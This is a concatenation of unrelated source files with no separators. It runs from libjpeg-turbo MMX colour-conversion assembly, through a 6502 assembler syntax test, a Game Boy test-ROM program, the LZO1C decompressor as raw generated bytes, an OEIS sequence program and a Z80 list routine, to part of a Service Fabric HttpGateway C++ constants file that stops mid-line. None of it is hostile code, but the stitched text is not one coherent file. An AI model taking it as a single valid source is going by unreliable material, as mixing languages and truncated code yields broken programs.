; FIX(0.41869) F_0_587 equ 38470 ; FIX(0.58700) F_0_337 equ (F_0_587 - F_0_250) ; FIX(0.58700) - FIX(0.25000) ; -------------------------------------------------------------------------- SECTION SEG_CONST alignz 16 global EXTN(jconst_rgb_ycc_convert_mmx) EXTN(jconst_rgb_ycc_convert_mmx): PW_F0299_F0337 times 2 dw F_0_299, F_0_337 PW_F0114_F0250 times 2 dw F_0_114, F_0_250 PW_MF016_MF033 times 2 dw -F_0_168,-F_0_331 PW_MF008_MF041 times 2 dw -F_0_081,-F_0_418 PD_ONEHALFM1_CJ times 2 dd (1 << (SCALEBITS-1)) - 1 + (CENTERJSAMPLE << SCALEBITS) PD_ONEHALF times 2 dd (1 << (SCALEBITS-1)) alignz 16 ; -------------------------------------------------------------------------- SECTION SEG_TEXT BITS 32 %include "jccolext-mmx.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED EXT_RGB_RED %define RGB_GREEN EXT_RGB_GREEN %define RGB_BLUE EXT_RGB_BLUE %define RGB_PIXELSIZE EXT_RGB_PIXELSIZE %define jsimd_rgb_ycc_convert_mmx jsimd_extrgb_ycc_convert_mmx %include "jccolext-mmx.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED EXT_RGBX_RED %define RGB_GREEN EXT_RGBX_GREEN %define RGB_BLUE EXT_RGBX_BLUE %define RGB_PIXELSIZE EXT_RGBX_PIXELSIZE %define jsimd_rgb_ycc_convert_mmx jsimd_extrgbx_ycc_convert_mmx %include "jccolext-mmx.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED EXT_BGR_RED %define RGB_GREEN EXT_BGR_GREEN %define RGB_BLUE EXT_BGR_BLUE %define RGB_PIXELSIZE EXT_BGR_PIXELSIZE %define jsimd_rgb_ycc_convert_mmx jsimd_extbgr_ycc_convert_mmx %include "jccolext-mmx.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED EXT_BGRX_RED %define RGB_GREEN EXT_BGRX_GREEN %define RGB_BLUE EXT_BGRX_BLUE %define RGB_PIXELSIZE EXT_BGRX_PIXELSIZE %define jsimd_rgb_ycc_convert_mmx jsimd_extbgrx_ycc_convert_mmx %include "jccolext-mmx.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED EXT_XBGR_RED %define RGB_GREEN EXT_XBGR_GREEN %define RGB_BLUE EXT_XBGR_BLUE %define RGB_PIXELSIZE EXT_XBGR_PIXELSIZE %define jsimd_rgb_ycc_convert_mmx jsimd_extxbgr_ycc_convert_mmx %include "jccolext-mmx.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED EXT_XRGB_RED %define RGB_GREEN EXT_XRGB_GREEN %define RGB_BLUE EXT_XRGB_BLUE %define RGB_PIXELSIZE EXT_XRGB_PIXELSIZE %define jsimd_rgb_ycc_convert_mmx jsimd_extxrgb_ycc_convert_mmx %include "jccolext-mmx.asm"
// woof .define segment { name/*hello*/=default start=$2000 + 4 -%00100} .file "foo.bin" .const test /* test value */ =1 .var test2 = 5 // first comment // second comment *=$1000 {lda data // interesting sta data stx data .if test { nop } .if test { sta $d020 , x asl} else { nop } foo: rts } .segment "default" {lda #<data /* nice*/} .align 8 // here is some data data: { /* here it is */ .byte 1,2// hello .word 4 .text "foo" nop} nop .macro MyMacro(arg1,arg2){brk} MyMacro(1,2) nop MyMacro(3,4) .import * from "other.asm" .import foo as bar from "other.asm" {nop} .loop 123 { nop} .test "my_test" { nop } .assert 1== 2 .assert 1== 2 "oh snap" .trace ( *)
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld b, 98 call lwaitly_b ld a, 01 ldff(45), a ld a, 40 ldff(41), a ld a, 00 ld(8000), a ld a, 01 ld(c000), a ld a, c0 ldff(51), a xor a, a ldff(52), a ldff(54), a ld a, 80 ldff(53), a xor a, a ldff(0f), a ld a, 02 ldff(ff), a ei ld hl, 8000 halt .text@1000 lstatint: nop .text@1062 ld a, 80 ldff(55), a ld b, 07 nop nop nop nop nop nop nop nop ld a, (hl) and a, b jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a pop af ld(9800), a ld bc, 7a00 ld hl, 8000 ld d, a0 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f
; lzo1c_s1.asm -- lzo1c_decompress_asm ; ; This file is part of the LZO real-time data compression library. ; ; Copyright (C) 2011 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2010 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2009 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2008 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2007 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2006 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2005 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2004 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2003 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2002 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2001 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2000 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 1999 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 1998 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 1997 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 1996 Markus Franz Xaver Johannes Oberhumer ; All Rights Reserved. ; ; The LZO library is free software; you can redistribute it and/or ; modify it under the terms of the GNU General Public License as ; published by the Free Software Foundation; either version 2 of ; the License, or (at your option) any later version. ; ; The LZO library is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ; GNU General Public License for more details. ; ; You should have received a copy of the GNU General Public License ; along with the LZO library; see the file COPYING. ; If not, write to the Free Software Foundation, Inc., ; 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. ; ; Markus F.X.J. Oberhumer ; <markus@oberhumer.com> ; http://www.oberhumer.com/opensource/lzo/ ; ; /***** DO NOT EDIT - GENERATED AUTOMATICALLY *****/ include asminit.def public _lzo1c_decompress_asm _lzo1c_decompress_asm: db 85,87,86,83,81,82,131,236,12,252,139,116,36,40,139,124 db 36,48,189,3,0,0,0,144,49,192,138,6,70,60,32,115 db 15,8,192,116,51,137,193,243,164,138,6,70,60,32,114,72 db 60,64,114,93,137,193,36,31,141,87,255,193,233,5,41,194 db 138,6,70,193,224,5,41,194,65,135,242,243,164,137,214,235 db 199,141,180,38,0,0,0,0,138,6,70,141,72,32,60,248 db 114,197,185,24,1,0,0,44,248,116,6,145,48,192,211,224 db 145,243,164,235,163,141,118,0,141,87,255,41,194,138,6,70 db 193,224,5,41,194,135,242,164,164,164,137,214,164,49,192,235 db 152,36,31,137,193,117,19,177,31,138,6,70,8,192,117,8 db 129,193,255,0,0,0,235,241,1,193,138,6,70,137,195,36 db 63,137,250,41,194,138,6,70,193,224,6,41,194,57,250,116 db 27,135,214,141,73,3,243,164,137,214,49,192,193,235,6,137 db 217,15,133,80,255,255,255,233,60,255,255,255,131,249,1,15 db 149,192,139,84,36,40,3,84,36,44,57,214,119,38,114,29 db 43,124,36,48,139,84,36,52,137,58,247,216,131,196,12,90 db 89,91,94,95,93,195,184,1,0,0,0,235,227,184,8,0 db 0,0,235,220,184,4,0,0,0,235,213,144,141,116,38,0 end
; A170692: Number of reduced words of length n in Coxeter group on 11 generators S_i with relations (S_i)^2 = (S_i S_j)^50 = I. ; 1,11,110,1100,11000,110000,1100000,11000000,110000000,1100000000,11000000000,110000000000,1100000000000,11000000000000,110000000000000,1100000000000000,11000000000000000,110000000000000000,1100000000000000000,11000000000000000000,110000000000000000000,1100000000000000000000,11000000000000000000000,110000000000000000000000,1100000000000000000000000,11000000000000000000000000,110000000000000000000000000,1100000000000000000000000000,11000000000000000000000000000,110000000000000000000000000000,1100000000000000000000000000000,11000000000000000000000000000000,110000000000000000000000000000000,1100000000000000000000000000000000,11000000000000000000000000000000000,110000000000000000000000000000000000 seq $0,3953 ; Expansion of g.f.: (1+x)/(1-10*x).
; void p_forward_list_push_back_callee(p_forward_list_t *list, void *item) SECTION code_adt_p_forward_list PUBLIC _p_forward_list_push_back_callee _p_forward_list_push_back_callee: pop af pop hl pop de push af INCLUDE "adt/p_forward_list/z80/asm_p_forward_list_push_back.asm"
// ------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License (MIT). See License.txt in the repo root for license information. // ------------------------------------------------------------ #include "stdafx.h" using namespace Common; using namespace HttpGateway; #define COMBINE(_X_, _Y_) *(_X_) + *Constants::MetadataSegment + *(_Y_) // // HTTP server constants // double Constants::DefaultFabricTimeoutMin = 1; double Constants::DefaultAccessCheckTimeoutMin = 2; ULONG Constants::MaximumActiveListeners = 100; ULONG Constants::DefaultEntityBodyChunkSize = 4096; ULONG Constants::DefaultEntityBodyForUploadChunkSize = 1048576; //1MB ULONG Constants::MaxEntityBodyForUploadChunkSize = 10485760; //10MB ULONG Constants::DefaultHeaderBufferSize = 8192; GlobalWString Constants::HttpGatewayTraceId = make_global<wstring>(L"HttpGateway"); double Constants::V1ApiVersion = 1.0; double Constants::V2ApiVersion = 2.0; double Constants::V3ApiVersion = 3.0; double Constants::V4ApiVersion = 4.0; double Constants::V5ApiVersion = 5.0; double Constants::V6ApiVersion = 6.0; double Constants::V61ApiVersion = 6.1; double Constants::V62ApiVersion = 6.2; double Constants::V63ApiVersion = 6.3; double Constants::V64ApiVersion = 6.4; GlobalWString Constants::PreviewApiVersion = make_global<wstring>(L"-preview"); ULONG Constants::AllocationTag = 'ttHF'; GlobalWString Constants::ApplicationsHandlerPath = make_global<wstring>(L"/Applications/"); GlobalWString Constants::ApplicationTypesHandlerPath = make_global<wstring>(L"/ApplicationTypes/"); GlobalWString Constants::ClusterManagementHandlerPath = make_global<wstring>(L"/"); GlobalWString Constants::ComposeDeploymentsHandlerPath = make_global<wstring>(L"/ComposeDeployments/"); GlobalWString Constants::VolumesHandlerPath = make_global<wstring>(L"/Resources/Volumes/"); GlobalWString Constants::NodesHandlerPath = make_global<wstring>(L"/Nodes/"); GlobalWString Constants::ServicesHandlerPath = make_global<wstring>(L"/Services/"); GlobalWString Constants::PartitionsHandlerPath = make_global<wstring>(L"/Partitions/"); GlobalWString Constants::ImageStoreHandlerPath = make_global<wstring>(L"/ImageStore/"); GlobalWString Constants::TestCommandsHandlerPath = make_global<wstring>(L"/TestCommands/"); GlobalWString Constants::ToolsHandlerPath = make_global<wstring>(L"/Tools/"); GlobalWString Constants::FaultsHandlerPath = make_global<wstring>(L"/Faults/"); GlobalWString Constants::NamesHandlerPath = make_global<wstring>(L"/Names/"); GlobalWString Constants::BackupRestoreHandlerPath = make_global<wstring>(L"/BackupRestore/"); GlobalWString Constants::ApplicationsResourceHandlerPath = make_global<wstring>(L"/Resources/Applications/"); GlobalWString Constants::ContentTypeHeader = make_global<wstring>(L"Content-Type"); GlobalWString Constants::ContentLengthHeader = make_global<wstring>(L"Content-Length"); GlobalWString Constants::ContentRangeHeader = make_global<wstring>(L"Content-Range"); GlobalWString Constants::ContentRangeUnit = make_global<wstring>(L"bytes"); GlobalWString Constants::WWWAuthenticateHeader = make_global<wstring>(L"WWW-Authenticate"); GlobalWString Constants::TransferEncodingHeader = make_global<wstring>(L"Transfer-Encoding"); GlobalWString Constants::LocationHeader = make_global<wstring>(L"Location"); GlobalWString Constants::AuthorizationHeader = make_global<wstring>(L"Authorization"); GlobalWString Constants::Bearer = make_global<wstring>(L"Bearer"); GlobalWString Constants::ClusterIdHeader = make_global<wstring>(L"ClusterId"); GlobalWString Constants::ServerRedirectResponse = make_global<wstring>(L"Moved Permanently"); GlobalWString Constants::ServiceFabricHttpClientRequestIdHeader = make_global<wstring>(L"X-ServiceFabricRequestId"); GlobalWString Constants::ContentTypeOptionsHeader = make_global<wstring>(L"X-Content-Type-Options"); GlobalWString Constants::ContentTypeNoSniffValue = make_global<wstring>(L"nosniff"); GlobalWString Constants::JsonContentType = make_global<wstring>(L"application/json; charset=utf-8"); GlobalWString Constants::HtmlContentType = make_global<wstring>(L"text/html; charset=utf-8"); GlobalWString Constants::CssContentType = make_global<wstring>(L"text/css; charset=utf-8"); GlobalWString Constants::JavaScriptContentType = make_global<wstring>(L"text/javascript; charset=utf-8"); GlobalWString Constants::PngContentType = make_global<wstring>(L"image/png"); GlobalWString Constants::IcoContentType = make_global<wstring>(L"image/ico"); GlobalWString Constants::EotContentType = make_global<wstring>(L"application/vnd.ms-fontobject"); GlobalWString Constants::SvgContentType = make_global<wstring>(L"image/svg+xml"); GlobalWString Constants::TtfContentType = make_global<wstring>(L"application/font-ttf"); GlobalWString Constants::WoffContentType = make_global<wstring>(L"application/font-woff"); GlobalWString Constants::Woff2ContentType = make_global<wstring>(L"application/font-woff2"); GlobalWString Constants::MapContentType = make_global<wstring>(L"application/octet-stream"); GlobalWString Constants::ServiceKindString = make_global<wstring>(L"ServiceKind"); GlobalWString Constants::ApplicationDefinitionKindFilterString = make_global<wstring>(L"ApplicationDefinitionKindFilter"); GlobalWString Constants::ApplicationIdString = make_global<wstring>(L"ApplicationId"); GlobalWString Constants::DeploymentNameString = make_global<wstring>(L"DeploymentName"); GlobalWString Constants::ContainerNameString = make_global<wstring>(L"ContainerName"); GlobalWString Constants::ApplicationNameString = make_global<wstring>(L"ApplicationName"); GlobalWString Constants::ServiceIdString = make_global<wstring>(L"ServiceId"); GlobalWString Constants::PartitionIdString = make_global<wstring>(L"PartitionId"); GlobalWString Constants::ServicePackageActivationIdString = make_global<wstring>(L"ServicePackageActivationId"); GlobalWString Constants::ReplicaIdString = make_global<wstring>(L"ReplicaId"); GlobalWString Constants::ReplicaStatusFilterString = make_global<wstring>(L"ReplicaStatusFilter"); GlobalWString Constants::NodeStatusFilterString = make_global<wstring>(L"NodeStatusFilter"); GlobalWString Constants::MaxResultsString = make_global<wstring>(L"MaxResults"); GlobalWString Constants::ExcludeApplicationParametersString = make_global<wstring>(L"ExcludeApplicationParameters"); GlobalWString Constants::IncludeHealthStateString = make_global<wstring>(L"IncludeHealthState"); GlobalWString Constants::NameString = make_global<wstring>(L"Name"); GlobalWString Constants::RecursiveString = make_global<wstring>(L"Recursive"); GlobalWString Constants::IncludeValuesString = make_global<wstring>(L"IncludeValues"); GlobalWString Constants::PropertyNameString = make_global<wstring>(L"PropertyName"); GlobalWString Constants::InstanceIdString = make_global<wstring>(L"InstanceId"); GlobalWString Constants::VolumeNameString = make_global<wstring>(L"VolumeName"); // This actually represents the node name, not the node id GlobalWString Constants::NodeIdString = make_global<wstring>(L"NodeId"); GlobalWString Constants::NodeInstanceIdString = make_global<wstring>(L"NodeInstanceId"); GlobalWString Constants::OperationIdString = make_global<wstring>(L"OperationId"); GlobalWString Constants::StartTimeUtcString = make_global<wstring>(L"StartTimeUtc"); GlobalWString Constants::EndTimeUtcString = make_global<wstring>(L"EndTimeUtc"); GlobalWString Constants::Services = make_global<wstring>(L"Services"); GlobalWString Constants::OperationType = make_global<wstring>(L"OperationType"); GlobalWString Constants::Mode = make_global<wstring>(L"Mode"); GlobalWString Constants::DataLossMode = make_global<wstring>(L"DataLossMode"); GlobalWString Constants::QuorumLossMode = make_global<wstring>(L"QuorumLossMode"); GlobalWString Constants::RestartPartitionMode = make_global<wstring>(L"RestartPartitionMode"); GlobalWString Constants::QuorumLossDuration= make_global<wstring>(L"QuorumLossDuration"); GlobalWString Constants::ApplicationTypeDefinitionKindFilterString = make_global<wstring>(L"ApplicationTypeDefinitionKindFilter"); GlobalWString Constants::ApplicationTypeNameString = make_global<wstring>(L"ApplicationTypeName"); GlobalWString Constants::ServiceManifestNameIdString = make_global<wstring>(L"ServiceManifestName"); GlobalWString Constants::CodePackageNameIdString = make_global<wstring>(L"CodePackageName"); GlobalWString Constants::ServiceTypeNameIdString = make_global<wstring>(L"ServiceTypeName"); GlobalWString Constants::ServiceTypeNameString = make_global<wstring>(L"ServiceTypeName"); GlobalWString Constants::CodePackageInstanceIdString = make_global<wstring>(L"CodePackageInstanceId"); GlobalWString Constants::CommandString = make_global<wstring>(L"Command"); GlobalWString Constants::SessionIdString = make_global<wstring>(L"session-id"); GlobalWString Constants::ApiVersionString = make_global<wstring>(L"api-version"); GlobalWString Constants::TimeoutString = make_global<wstring>(L"timeout"); GlobalWString Constants::ApplicationTypeVersionString = make_global<wstring>(L"ApplicationTypeVersion"); GlobalWString Constants::ClusterManifestVersionString = make_global<wstring>(L"ClusterManifestVersion"); GlobalWString Constants::ConfigurationApiVersionString = make_global<wstring>(L"ConfigurationApiVersion"); GlobalWString Constants::ServiceManifestNameString = make_global<wstring>(L"ServiceManifestName"); GlobalWString Constants::UpgradeDomainNameString = make_global<wstring>(L"UpgradeDomainName"); GlobalWString Constants::ContinuationTokenString = make_global<wstring>(L"ContinuationToken"); GlobalWString Constants::NativeImageStoreRelativePathString = make_global<wstring>(L"RelativePath"); GlobalWString Constants::TestCommandsString = make_global<wstring>(L"TestCommands"); GlobalWString Constants::StateFilterString = make_global<wstring>(L"StateFilter"); GlobalWString Constants::TypeFilterString = make_global<wstring>(L"TypeFilter"); GlobalWString Constants::PartitionSelectorTypeString = make_global<wstring>(L"PartitionSelectorType"); GlobalWString Constants::ModeString = make_global<wstring>(L"Mode"); GlobalWString Constants::CommandType = make_global<wstring>(L"CommandType"); GlobalWString Constants::CreateServiceFromTemplate = make_global<wstring>(L"CreateFromTemplate"); GlobalWString Constants::Create = make_global<wstring>(L"Create"); GlobalWString Constants::CreateServiceGroup = make_global<wstring>(L"CreateServiceGroup"); GlobalWString Constants::Copy = make_global<wstring>(L"Copy"); GlobalWString Constants::Update = make_global<wstring>(L"Update"); GlobalWString Constants::UpdateServiceGroup = make_global<wstring>(L"UpdateServiceGroup"); GlobalWString Constants::Delete = make_global<wstring>(L"Delete"); GlobalWString Constants::DeleteServiceGroup = make_global<wstring>(L"DeleteServiceGroup"); GlobalWString Constants::GetServiceDescription = make_global<wstring>(L"GetDescription"); GlobalWString Constants::GetServiceGroupDescription = make_global<wstring>(L"GetServiceGroupDescription"); GlobalWString Constants::GetServiceGroupMembers = make_global<wstring>(L"GetServiceGroupMembers"); GlobalWString Constants::UploadChunk = make_global<wstring>(L"UploadChunk"); GlobalWString Constants::DeleteUploadSession = make_global<wstring>(L"DeleteUploadSession"); GlobalWString Constants::GetUploadSession = make_global<wstring>(L"GetUploadSession"); GlobalWString Constants::CommitUploadSession = make_global<wstring>(L"CommitUploadSession"); GlobalWString Constants::Provision = make_global<wstring>(L"Provision"); GlobalWString Constants::UnProvision = make_global<wstring>(L"Unprovision"); GlobalWString Constants::Upgrade = make_global<wstring>(L"Upgrade"); GlobalWString Constants::UpdateUpgrade = make_global<wstring>(L"UpdateUpgrade"); GlobalWString Constants::RollbackUpgrade = make_global<wstring>(L"RollbackUpgrade"); GlobalWString Constants::GetUpgradeProgress = make_global<wstring>(L"GetUpgradeProgress"); GlobalWString Constants::MoveToNextUpgradeDomain = make_global<wstring>(L"MoveToNextUpgradeDomain"); GlobalWString Constants::GetClusterManifest = make_global<wstring>(L"GetClusterManifest"); GlobalWString Constants::GetApplicationManifest = make_global<wstring>(L"GetApplicationManifest"); GlobalWString Constants::GetServicePackage = make_global<wstring>(L"GetServicePackages"); GlobalWString Constants::GetServiceManifest = make_global<wstring>(L"GetServiceManifest"); GlobalWString Constants::Activate = make_global<wstring>(L"Activate"); GlobalWString Constants::Stop = make_global<wstring>(L"Stop"); GlobalWString Constants::Start = make_global<wstring>(L"Start"); GlobalWString Constants::Deactivate = make_global<wstring>(L"Deactivate"); GlobalWString Constants::RemoveNodeState = make_global<wstring>(L"RemoveNodeState"); GlobalWString Constants::GetServiceTypes = make_global<wstring>(L"GetServiceTypes"); GlobalWString Constants::GetServices = make_global<wstring>(L"GetServices"); GlobalWString Constants::GetServiceGroups = make_global<wstring>(L"GetServiceGroups"); GlobalWString Constants::GetSystemServices = make_global<wstring>(L"GetSystemServices"); GlobalWString Constants::GetPartitions = make_global<wstring>(L"GetPartitions"); GlobalWString Constants::GetReplicas = make_global<wstring>(L"GetReplicas"); GlobalWString Constants::GetApplications = make_global<wstring>(L"GetApplications"); GlobalWString Constants::GetCodePackages = make_global<wstring>(L"GetCodePackages"); GlobalWString Constants::GetHealth = make_global<wstring>(L"GetHealth"); GlobalWString Constants::GetLoadInformation = make_global<wstring>(L"GetLoadInformation"); GlobalWString Constants::GetUnplacedReplicaInformation = make_global<wstring>(L"GetUnplacedReplicaInformation"); GlobalWString Constants::ReportHealth = make_global<wstring>(L"ReportHealth"); GlobalWString Constants::StartPartitionRestart = make_global<wstring>(L"StartPartitionRestart"); GlobalWString Constants::StartPartitionQuorumLoss = make_global<wstring>(L"StartPartitionQuorumLoss"); GlobalWString Constants::StartPartitionDataLoss = make_global<wstring>(L"StartPartitionDataLoss"); GlobalWString Constants::Report = make_global<wstring>(L"Report"); GlobalWString Constants::Instances = make_global<wstring>(L"Instances"); GlobalWString Constants::Schedule = make_global<wstring>(L"Schedule"); GlobalWString Constants::GetPartitionRestartProgress = make_global<wstring>(L"GetPartitionRestartProgress"); GlobalWString Constants::GetTestCommands = make_global<wstring>(L"GetTestCommands"); GlobalWString Constants::Cancel = make_global<wstring>(L"Cancel"); GlobalWString Constants::StartClusterConfigurationUpgrade = make_global<wstring>(L"StartClusterConfigurationUpgrade"); GlobalWString Constants::GetClusterConfigurationUpgradeStatus = make_global<wstring>(L"GetClusterConfigurationUpgradeStatus"); GlobalWString Constants::GetClusterConfiguration = make_global<wstring>(L"GetClusterConfiguration"); GlobalWString Constants::GetUpgradesPendingApproval = make_global<wstring>(L"GetUpgradesPendingApproval"); GlobalWString Constants::StartApprovedUpgrades = make_global<wstring>(L"StartApprovedUpgrades"); GlobalWString Constants::GetUpgradeOrchestrationServiceState = make_global<wstring>(L"GetUpgradeOrchestrationServiceState"); GlobalWString Constants::SetUpgradeOrchestrationServiceState = make_global<wstring>(L"SetUpgradeOrchestrationServiceState"); GlobalWString Constants::GetClusterHealth = make_global<wstring>(L"GetClusterHealth"); GlobalWString Constants::GetClusterHealthChunk = make_global<wstring>(L"GetClusterHealthChunk"); GlobalWString Constants::ReportClusterHealth = make_global<wstring>(L"ReportClusterHealth"); GlobalWString Constants::Recover = make_global<wstring>(L"Recover"); GlobalWString Constants::RecoverAllPartitions = make_global<wstring>(L"RecoverAllPartitions"); GlobalWString Constants::RecoverSystemPartitions = make_global<wstring>(L"RecoverSystemPartitions"); GlobalWString Constants::ResetLoad = make_global<wstring>(L"ResetLoad"); GlobalWString Constants::ToggleServicePlacementHealthReportingVerbosity = make_global<wstring>(L"ToggleServicePlacementHealthReportingVerbosity"); GlobalWString Constants::GetdSTSMetadata = make_global<wstring>(L"GetDstsMetadata"); GlobalWString Constants::GetAadMetadata = make_global<wstring>(L"GetAadMetadata"); GlobalWString Constants::Restart = make_global<wstring>(L"Restart"); GlobalWString Constants::Logs = make_global<wstring>(L"Logs"); GlobalWString Constants::ContainerLogs = make_global<wstring>(L"ContainerLogs"); GlobalWString Constants::ContainerApi = make_global<wstring>(L"ContainerApi"); GlobalWString Constants::ContainerApiPathString = make_global<wstring>(L"ContainerApiPath"); GlobalWString Constants::ContainerApiPath = make_global<wstring>(*ContainerApi + L"/{" + *ContainerApiPathString + L'}'); GlobalWString Constants::Remove = make_global<wstring>(L"Remove"); GlobalWString Constants::GetHealthStateList = make_global<wstring>(L"GetHealthStateList"); GlobalWString Constants::GetReplicaHealthStateList = make_global<wstring>(L"GetReplicaHealthStateList"); GlobalWString Constants::InvokeInfrastructureCommand = make_global<wstring>(L"InvokeInfrastructureCommand"); GlobalWString Constants::InvokeInfrastructureQuery = make_global<wstring>(L"InvokeInfrastructureQuery"); GlobalWString Constants::GetDeployedApplicationHealthStateList = make_global<wstring>(L"GetDeployedApplicationHealthStateList"); GlobalWString Constants::GetDeployedServicePackageHealthStateList = make_global<wstring>(L"GetDeployedServicePackageHealthStateList"); GlobalWString Constants::GetDeployedReplicaDetail = make_global<wstring>(L"GetDetail"); GlobalWString Constants::GetProvisionedFabricCodeVersions = make_global<wstring>(L"GetProvisionedCodeVersions"); GlobalWString Constants::GetProvisionedFabricConfigVersions = make_global<wstring>(L"GetProvisionedConfigVersions"); GlobalWString Constants::EventsHealthStateFilterString = make_global<wstring>(L"EventsHealthStateFilter"); GlobalWString Constants::NodesHealthStateFilterString = make_global<wstring>(L"NodesHealthStateFilter"); GlobalWString Constants::ReplicasHealthStateFilterString = make_global<wstring>(L"ReplicasHealthStateFilter"); GlobalWString Constants::PartitionsHealthStateFilterString = make_global<wstring>(L"PartitionsHealthStateFilter"); GlobalWString Constants::ServicesHealthStateFilterString = make_global<wstring>(L"ServicesHealthStateFilter"); GlobalWString Constants::ApplicationsHealthStateFilterString = make_global<wstring>(L"ApplicationsHealthStateFilter"); GlobalWString Constants::DeployedApplicationsHealthStateFilterString = make_global<wstring>(L"DeployedApplicationsHealthStateFilter"); GlobalWString Constants::DeployedServicePackagesHealthStateFilterString = make_global<wstring>(L"DeployedServicePackagesHealthStateFilter"); GlobalWString Constants::ExcludeHealthStatisticsString = make_global<wstring>(L"ExcludeHealthStatistics"); GlobalWString Constants::IncludeSystemApplicationHealthStatisticsString = make_global<wstring>(L"IncludeSystemApplicationHealthStatistics"); GlobalWString Constants::ResolvePartition = make_global<wstring>(L"ResolvePartition"); GlobalWString Constants::CreateRepairTask = make_global<wstring>(L"CreateRepairTask"); GlobalWString Constants::CancelRepairTask = make_global<wstring>(L"CancelRepairTask"); GlobalWString Constants::ForceApproveRepairTask = make_global<wstring>(L"ForceApproveRepairTask"); GlobalWString Constants::DeleteRepairTask = make_global<wstring>(L"DeleteRepairTask"); GlobalWString Constants::UpdateRepairExecutionState = make_global<wstring>(L"UpdateRepairExecutionState"); GlobalWString Constants::GetRepairTaskList = make_global<wstring>(L"GetRepairTaskList"); GlobalWString Constants::UpdateRepairTaskHealthPolicy = make_global<wstring>(L"UpdateRepairTaskHealthPolicy"); GlobalWString Constants::TaskIdFilter = make_global<wstring>(L"TaskIdFilter"); GlobalWString Constants::StateFilter = make_global<wstring>(L"StateFilter"); GlobalWString Constants::ExecutorFilter = make_global<wstring>(L"ExecutorFilter"); GlobalWString Constants::GetServiceName = make_global<wstring>(L"GetServiceName"); GlobalWString Constants::GetApplicationName = make_global<wstring>(L"GetApplicationName"); GlobalWString Constants::GetSubNames = make_global<wstring>(L"GetSubNames"); GlobalWString Constants::GetProperty = make_global<wstring>(L"GetProperty"); GlobalWString Constants::GetProperties = make_global<wstring>(L"GetProperties"); GlobalWString Constants::SubmitBatch = make_global<wstring>(L"SubmitBatch"); GlobalWString Constants::DeployServicePackageToNode = make_global<wstring>(L"DeployServicePackage"); GlobalWString Constants::PartitionKeyType = make_global<wstring>(L"PartitionKeyType"); GlobalWString Constants::PartitionKeyValue = make_global<wstring>(L"PartitionKeyValue"); GlobalWString Constants::PreviousRspVersion = make_global<wstring>(L"PreviousRspVersion"); GlobalWString Constants::ForceRemove = make_global<wstring>(L"ForceRemove"); GlobalWString Constants::CreateFabricDump = make_global<wstring>(L"CreateFabricDump"); GlobalWString Constants::SegmentDelimiter = make_global<wstring>(L"/"); GlobalWString Constants::MetadataSegment = make_global<wstring>(L"/$/"); GlobalWString Constants::QueryStringDelimiter = make_global<wstring>(L"?"); GlobalWString Constants::ApplicationTypesEntitySetPath = make_global<wstring>(L"ApplicationTypes/"); GlobalWString Constants::TestCommandProgressPath = make_global<wstring>(L"GetProgress"); GlobalWString Constants::BackupRestorePrefix = make_global<wstring>(L"BackupRestore"); GlobalWString Constants::BackupRestorePath = make_global<wstring>(L"BackupRestore/{Path}"); GlobalWString Constants::BackupRestoreServiceName = make_global<wstring>(L"System/BackupRestoreService"); GlobalWString Constants::EnableBackup = make_global<wstring>(L"EnableBackup"); GlobalWString Constants::GetBackupConfigurationInfo = make_global<wstring>(L"GetBackupConfigurationInfo"); GlobalWString Constants::DisableBackup = make_global<wstring>(L"DisableBackup"); GlobalWString Constants::SuspendBackup = make_global<wstring>(L"SuspendBackup"); GlobalWString Constants::ResumeBackup = 